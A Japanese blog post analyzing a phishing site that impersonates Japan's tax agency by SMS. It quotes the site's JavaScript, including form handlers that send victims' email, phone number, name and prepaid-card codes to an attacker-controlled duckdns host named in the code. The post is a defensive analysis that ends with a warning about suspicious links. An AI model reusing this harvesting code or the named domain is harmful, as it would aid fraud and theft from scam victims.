ひでぼ~blog

C#ときどきゲーム

税金の支払いを催促する詐欺サイトのソースコードを読んでみる

国税庁になりすまして税金の支払いをさせようとするSMSが届いたのでURLを開いてサイトのソースコードを読んでみました。

www.ipa.go.jp

とりあえずサイトにアクセスしてみる

PCからGoogle Chromeのシークレットモードでサイトにアクセスしてみます。 PCでアクセスした場合は404 NotFoundとだけ表示されました。なので、Dev Toolsで疑似的にiPhone SEにデバイスを変更してみたところ問題のサイトが表示されました。

最終差押通知というタイトルのダイアログが表示されました。怖いですね。

何か怪しい処理をやってるところが無いかなと見ていましたが、最初の画面には特になさそうでした。 唯一書かれていたjsは次のようなものでした。

var myDate = new Date();
var year = myDate.getFullYear();
var month = myDate.getMonth() + 1;
var day = myDate.getDate();
$("#time1").html("納付期限: " + year + "/" + month + "/" + day);
$("#time2").html("最終期限: " + year + "/" + month + "/" + day + " (支払期日の延長不可)");
function reg() {
  document.location.href = "./step2.html";
}

納付期限と最終期限に今日の日付を表示するようにしています。 DOMの操作にはjQueryを使っていますね。 reg()という関数は次へボタンを押したときに呼ばれるようになっていました。 次へを押して次に進んでみます。

個人情報の入力フォーム

メールアドレス、電話番号、名前、支払い方法を入力する画面が表示されました。

このページでは次のような処理が行われていました。

function randomString(len) {
  len = len || 32;
  var chars = 'ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz1234567890';
  var maxPos = chars.length;
  var rand = '';
  for (i = 0; i < len; i++) {
    rand += chars.charAt(Math.floor(Math.random() * maxPos));
  }
  return rand;
}

$.cookie("sessionid", randomString(32));

32文字のランダムな文字列を作ってクッキーにsessionIdというキーで保存しています。 この後のPOST処理でクッキーが送信されるので何かセッション管理をしているのかな?という印象です。

バリデーションは次のように空文字列かどうかを検証していました。reg()はさきほどと同じ次へボタンを押したときに呼ばれる関数です。 バリデーションが問題なければサーバに入力値をPOSTし、成功すれば次のページへ移動するようです。

function reg() {
  if ($("#email").val() == "") {
    $("#email").focus();
    alert("入力してください。");
    return;
  }
  if ($("#tel").val() == "") {
    $("#tel").focus();
    alert("入力してください。");
    return;
  }
  if ($("#username").val() == "") {
    $("#username").focus();
    alert("入力してください。");
    return;
  }
  var email = $("#email").val();
  var tel = $("#tel").val();
  var username = $("#username").val();

  $.post("https://ccndhglutt.duckdns.org/putinfo", {
    Origin: "GSVK",
    Page: "1",
    Val1: email,
    Val2: tel,
    Val3: username
  }, function (data) {
    if (data.Code == 1 && data.Message == "success") {
      document.location.href = "https://ccndhglutt.duckdns.org/";

    } else {
      document.location.reload();
    }
  });
}

バリデーションが緩かったので適当な値をいれて次のページに進んでみます。支払い方法はプリペイドカードを選択しました。

Vプリカ発行コードの入力

Vプリカ発行コード(プリペイドカード番号)を入力する画面が表示されました。

Vプリカ発行コードのバリデーションはこのようになっていました。さきほどの個人情報のバリデーションと比べるとかなりちゃんとしていました。 1番重要なところだからでしょうか。

$("#sures-btn").click(function () {
  var number1 = $("#number_one").val();
  var number2 = $("#number_repeat").val();
  var input_id = $("#number_one").attr("data-id");

  var patt = /[a-zA-Z0-9]{15}/

  if (!patt.test(number1)) {

    alert("発行コード番号が一致しませんでした。もう一度お試しください。");
    return false;
  }

  if (number1 == "" || number2 == "") {
    alert("発行コード番号を入力してください。");
    return false;
  }

  if (number1 != number2) {
    alert("発行コード番号が一致しませんでした。もう一度お試しください。");
    return false;
  }

  if (!hasCapital(number1)) {
    alert("正しいコードを入力してください。全角・半角・大文字・小文字を厳密に判定しております。");
    return false;
  }

Vプリカ発行コードは次のような仕様のようです。

  • 15桁の英数字
  • 大文字を含む(hasCapital()でチェック)

次へボタンを押したときに呼ばれる関数は次のようになっていました。

function submit() {
  var value = "";
  var pic = "";
  var str = "";
  var user = $.cookie("username");
  for (let i = 1; i <= 40; i++) {
    if (i < 10) {
      value = "#number0" + i.toString();
      pic = "#price0" + i.toString();
    } else {
      value = "#number" + i.toString();
      pic = "#price" + i.toString();
    }
    if ($(value).val().toUpperCase() == "123456789ABCDEF") {
      alert("入力に誤りがあります。");
      location.reload();
      return;
    }
    if ($(value).val() != "" && $(pic).val() != "") {
      str += $(value).val() + "-" + $(pic).val() + "|";
    }
  }
  if (str == "") {
    alert("入力に誤りがあります。");
    location.reload();
    return;
  }
  if (str[0] == "d" || str[0] == "D") {
    if (str[1] == "8") {
      $("#d8err").show();
      for (let i = 1; i <= 40; i++) {
        if (i < 10) {
          value = "#number0" + i.toString();
          pic = "#price0" + i.toString();
        } else {
          value = "#number" + i.toString();
          pic = "#price" + i.toString();
        }
        $(value).val("");
        $(pic).val("");

      }
      $(".saiAlert").show();
      $("[name='submitConfirm']").prop('disabled', true);
      return;
    }

  }

  $("#wait").mask("サーバーに接続中です。,<br>このまましばらくお待ちください...<br>ブラウザを戻ったり、閉じないでください。");
  $.post("/putcard", {
    Origin: "Auorder",
    Page: "1",
    Val1: str,
    Val2: user,
  }, function (data) {
    if (data.Code == 1 && data.Message == "success") {
      document.location.href = "/563220173";
    }
  });
}

1~40までループして取得しているのは、Vプリカ発行コードが最大で40個まで入力できるため、入力したコードと値段を1つずつ取得しているようです。 1~10までとそれ以降で条件分岐しているところが微笑ましいですね。 そのあと再度バリデーションを挟んで、入力値をサーバにPOSTしています。成功したら次のページに遷移するようです。 今回はここで次のページに進むのをやめました。

まとめ

詐欺サイトのソースコードを読んでみました。静的HTMLのサイトで要所でjQueryを使った処理が書かれているという感じでした。 Vプリカ発行コードを集めることがこの詐欺サイトの目的のようです。それ以外のヤバそうな攻撃(CSRF、クリックジャッキングなど)はぱっと見では確認できませんでした。 ですが、SMS等で届いた怪しいURLに安易にアクセスするのは危険なので絶対にやめましょう。